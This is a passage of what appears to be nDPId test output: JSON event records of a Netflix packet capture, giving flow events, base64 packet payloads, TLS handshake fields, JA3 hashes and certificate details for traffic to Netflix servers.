{"query":"ichnaea.us-west-2.prodaa.netflix.com","num_queries":1,"num_answers":8,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.69.204.241"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"netflix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1484319032888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53105,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":888907,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA+AxAAEAGfcXAqAEHNkXM8c9xAbuJGKiDAAAAALAC\/\/+XvgAAAgQFtAEDAwUBAQgKH2S4KwAAAAAEAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"netflix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1484319032896,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53114,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":896759,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABADepAAEAGIy3AqAEHNr8RM896Abu7NDMxAAAAALAC\/\/+WKQAAAgQFtAEDAwUBAQgKH2S4MgAAAAAEAgAA"} +00436{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":934932,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGjLY2RczxwKgBBwG7z3E0MsEbiRiohKASReqX9AAAAgQFtAQCCAqFp0\/bH2S4KwEDAwg="} +00424{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":937482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0mxZAAEAG2sfAqAEHNkXM8c9xAbuJGKiENDLBHIAQEBX8aAAAAQEICh9kuFmFp0\/b"} +00708{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":938079,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEElg9AAEAG3v7AqAEHNkXM8c9xAbuJGKiENDLBHIAYEBXrWQAAAQEICh9kuFqFp0\/bFgMBAMsBAADHAwNYeOk4DbsWWYY8cJvWjkCo5DadBeFv01+sAqDDmGng8gAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAeAAAABgAFgAAE2ljaG5hZWEubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQABsAGQhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"netflix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1484319032888,"flow_last_seen":1484319032938,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53105,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"spdy\/3.1,spdy\/3,http\/1.1"}} +00436{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":943560,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGR\/s2vxEzwKgBBwG7z3pSqS+duzQzMqASOJAFFAAAAgQFtAQCCAqtijmlH2S4MgEDAwg="} +00423{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":944993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0cYhAAEAGv5rAqAEHNr8RM896Abu7NDMyUqkvnoAQEBVcLgAAAQEICh9kuGCtijml"} +01119{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":959853,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI5KnhAAEAGBKbAqAEHNr8RM896Abu7NDMyUqkvnoAYEBUG0wAAAQEICh9kuG6tijmlFgMBAgABAAH8AwPIzq7iU2TICMXjbnaJ8nYAFVnlxMLpFZucgYzvL7X8EAAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"netflix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1484319032896,"flow_last_seen":1484319032959,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53114,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"netflix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1484319032984,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53115,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":984566,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAh8JAAEAG+QHAqAEHNCDEJM97AbvHy0puAAAAALAC\/\/\/BrQAAAgQFtAEDAwUBAQgKH2S4hgAAAAAEAgAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"netflix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1484319032986,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53116,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":986624,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAdf5AAEAGCsbAqAEHNCDEJM98AbvweU0rAAAAALAC\/\/+WPwAAAgQFtAEDAwUBAQgKH2S4iAAAAAAEAgAA"} +00424{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":988935,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0jvtAACkG\/cI2RczxwKgBBwG7z3E0MsEciRipVIAQAEsLVQAAAQEICoWnT+gfZLha"} +02377{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":990546,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcjvxAACkG+Bk2RczxwKgBBwG7z3E0MsEciRipVIAQAEtstgAAAQEICoWnT+kfZLhaFgMDAFkCAABVAwNYeOk49UOizA51CaJIb0UypSa+MlpNfYu87Ajom9T6OyDoZ\/VAZwyL3PpkzrcdS4Qavo\/ajbBSqIu48CVvQo3zH8AvAAAN\/wEAAQAACwAEAwABAhYDAwo1CwAKMQAKLgAFDzCCBQswggPzoAMCAQICEBUE9lSWJBH1oKEWtt+LI6kwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMIGBMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTESMBAGA1UEBwwJbG9zIGdhdG9zMRYwFAYDVQQKDA1OZXRmbGl4LCBJbmMuMQwwCgYDVQQLDANPcHMxIzAhBgNVBAMMGmN1c3RvbWVyZXZlbnRzLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5NWCfffj1fH2w7Mcey7bCuVjmU9eYoCt0LQXtABL8VbzHb0v4bvuXzERuentrt0KBRrXwGb1LNpWTCuYkQFsuSO+4A2oBicvehQTGBtisx0FbKBTLIsG1vAxiWHWx\/XTpvW3a5IDQ3ve\/mg0iN4F0RJTT7hORBeIfEAtcLaXH1n\/7BbB4evGBxadgu4wyTSlZcC3QyAKuqxcLKOgPPdViofYrGJ2ftzJYann157r\/0yi8mqc3eUn0g\/zUInV4h7\/h5s9Uj2esO0XEfaW0qv9A1L8eDpSXsQ6a\/uVCNNDZNT0nWamrF358P06wTnnFsnzkBLicvjy+KKQP469XywS3wIDAQABo4IBfzCCAXswgYkGA1UdEQSBgTB\/ghNpY2huYWVhLm5ldGZsaXguY29tghJiZWFjb24ubmV0ZmxpeC5jb22CIHByZXNlbnRhdGlvbnRyYWNraW5nLm5ldGZsaXguY29tghZubXRyYWNraW5nLm5ldGZsaXguY29tghpjdXN0b21lcmV2ZW50cy5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQACFfXmfFLSJ3g83aH1lGay1TzWZVJJlcH5vHFDEXU12pMzmZON4XtuDhhFM85qNRHVp6dySN\/2NPneYQEAzEJszsoGpdoNA5+VkmVdkvaW+tPqbjD3DhRFe6FRMiYEvobEuXDMASh3pWeL+lILt4N4el138DFitlCElI7++tgmcN\/F97RxsNmqKLFE1juHjpRhzqx1ySvoyfKNksinLcJxJGh9TBRlC8+HlqzIWD5UwAIQyDpWGAcTm0CSFI62ZR44BA8HC+G2Cy4+heUb5tc6\/0A9WEHQESa7OfzrIaNQpvRwbE6iQMEgEU13QVkkGskdHHDxVn9L6REOhP7lsoXoAAUZMIIFFTCCA\/2gAwIBAgIQKC4nkXkzkuQo8iGnTsk3rjANBgkqhkiG9w0="} +00796{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":19,"source":"netflix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1484319032888,"flow_last_seen":1484319032990,"flow_tot_l4_data_len":1868,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":311,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53105,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"spdy\/3.1,spdy\/3,http\/1.1"}} +02376{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":991535,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcjv1AACkG+Bg2RczxwKgBBwG7z3E0MsbEiRipVIAQAEt33wAAAQEICoWnT+kfZLhaAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEoBWe2xDou1PViaKclBP1Ug+NOLCjAaPHzz4+YV2LIxjpcz4u4VnAYYdYYPSHtRsJ+faftfw+yffJZueqjm5ZjAQBAQADSsYIx82mgrDWmf9R0pz9RcvNmgmyVAGP2tIDSkb3tJkCfrpqGTeOoSbuyP\/SPDOYWGhdMvZJqqdSGm913SxGVZ+bYGJP6UbCE1YtG+HnDJmsafnaNo4xvftzFA2JUiQM+wCkUM8="} +01225{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":20,"source":"netflix.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":7,"flow_first_seen":1484319032888,"flow_last_seen":1484319032991,"flow_tot_l4_data_len":3348,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":478,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53105,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","server_names":"ichnaea.netflix.com,beacon.netflix.com,presentationtracking.netflix.com,nmtracking.netflix.com,customerevents.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=customerevents.netflix.com","alpn":"spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"50:D6:DB:AF:1D:A3:83:52:E6:0E:15:8F:98:78:EE:2F:23:FD:E2:3F"}} +00424{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319032,"pkt_ts_usec":993017,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ZbJAAEAGECzAqAEHNkXM8c9xAbuJGKlUNDLMbIAQD9LwSQAAAQEICh9kuI2Fp0\/p"} +00646{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":2585,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"5JjWH70UgCqoTGHMCABFIADXjv5AACkG\/Rw2RczxwKgBBwG7z3E0MsxsiRipVIAYAEtuwgAAAQEICoWnT+kfZLhaZtSQ+Iyn3A+dB8uX6LOgnuiEKx3vspW0+2IBuM40ZfJxxMWyZM9gti3tYKq1tW53BocDJStQe9AzJUnyRmG3AiRApFdVtk\/ONUBdbo5nuiTJr9FFCfhb5SCskG1P92VA5W25BhDHOI3RoEYVHkXaXNxiDhUaQC+ke2OFznNU3Iu4UOEM+5+Zd63nJxztIloYV3+3eaXhgcPMWxYDAwAEDgAAAA=="} +00424{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":6480,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ExxAAEAGYsLAqAEHNkXM8c9xAbuJGKlUNDLND4AQD\/rvcAAAAQEICh9kuJuFp0\/p"} +00421{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":7001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0Fi9AACkGMdQ2vxEzwKgBBwG7z3pSqS+euzQ1N4AQAD1p4wAAAQEICq2KObUfZLhu"} +02371{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":8803,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcFjBAACkGLCs2vxEzwKgBBwG7z3pSqS+euzQ1N4AQAD10dAAAAQEICq2KObUfZLhuFgMDAFkCAABVAwNYeOk4myS3qxaAtypdvQdItdnmA5VNdxB0OrhpFmplaiA6FIrcdkTGZNSLE2Hp10gV+4u1gzYzFBRCvukpLrdKh8AvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeCwgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjk